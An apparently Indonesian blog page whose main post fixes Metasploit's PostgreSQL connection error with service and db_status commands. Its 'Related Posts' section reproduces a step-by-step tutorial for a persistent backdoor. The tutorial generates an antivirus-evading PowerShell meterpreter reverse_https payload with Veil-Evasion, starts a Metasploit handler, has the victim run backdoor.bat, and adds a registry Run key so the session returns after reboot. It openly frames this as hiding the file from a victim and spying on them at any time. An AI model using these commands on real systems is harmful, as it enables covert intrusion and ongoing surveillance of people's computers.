Solved Failed to connect to the database: could not connect to server: Connection refused

for linux users. linux particular time. certainly never experienced anything like this. Solved Failed to connect to the database: could not connect to server: Connection refused, yup ... metasploit can not connect to the database.

we have sollution with your problem.
first
. check with type
service postgresql start

we have failed to start metasploit.
next....
/etc/init.d/postgresql


 then
service --status-all

and try to type with
service postgresql start
service postgresql status

chek open metasploit with type
/usr/bin/msfconsole

then check database status
db_status

solved all.
thnks for visit my blog.. (y)

Related Posts:

    Persistence Backdoor Menggunakan Powershell

    Persistence Backdoor Menggunakan Powershell
    Persistence Backdoor adalah backdoor dibuat dalam metasploit yang akan tetap terbuka meskipun komputer korban dimatikan atau restart. salah satunya adalah meterpreter sesi baru akan terbuka saat komputer korban dihidupkan. sehingga lebih mudah untuk memproses dalam  peretasan komputer.
    o iya. ini ga kedetek virus. untuk antivirus free seperti avast , avira, avg, smadav udh dicoba ga kedetek.

    awesome pokok nya.
    Kita perlu tools di linux. yang namanya Veil-Evasion.
    Pertama buka Veil-Evasion. Dengan Ketik ./Veil-Evasion.py di terminal.
    Pilih powershell/meterpreter/rev_https. type use 23
    Cehek Ip dengan Ketik ifconfig
    set LHOST “Your Local IP”. Contoh= set LHOST 192.168.10.211
    Set LPORT 9999
    info
    Generate dan buat nama dengan nama: backdoor
    tekan enter
    Buka Metasploit.
    use exploit/multi/handler
    Ketik payload windows/meterpreter/reverse_https
    set LHOST “Your Local IP”. contoh= set LHOST 192.168.10.211
    set LPORT 9999
    exploit
    Copy backdoor.bat ke target. dan run.
    Maka akan ada open meterpreter session.
    Check lokasi backdoornya bro. saat ini letaknya di desktop. kmu bisa pindahin lokasinya diaman aja. yg penting ga ketauan sama si korban.
    Ketik ini di terminal. reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurentVersion\\Run -v 9999 -d “location a backdoor.bat
    contoh nya= reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurentVersion\\Run -v 9999 -d c:\\Users\\HRD-Andim\\Desktop\\backdoor.bat
    Jika sukses. kamu kamu bisa lihat di registrinya seperti ini nih.
    yang udh kamu buat tadi nongolnya di sini. ini gunanya untuk buat backdoor selalu terbuka saat komputer di hidupkan.
    nex ketik ini : reg queryval -k  HKLM\\Software\\Microsoft\\Windows\\CurentVersion\\Run -v 9999
    untuk penunjangnya. biar makin jos
    Check dlu deh restart komputer korbanya.
    dan meterpreter session kebuka lagi. hehehehehe. kamu bisa memata matai si korban setiap saat.
    ok finish..
    selamat mencoba. gunain ilmu ini untuk kebaikan bro….:v :v :v
    Untuk lihat tutorial versi video cek dibawah mas bro… (y)

     terimakasih.. (y)

    Related Posts: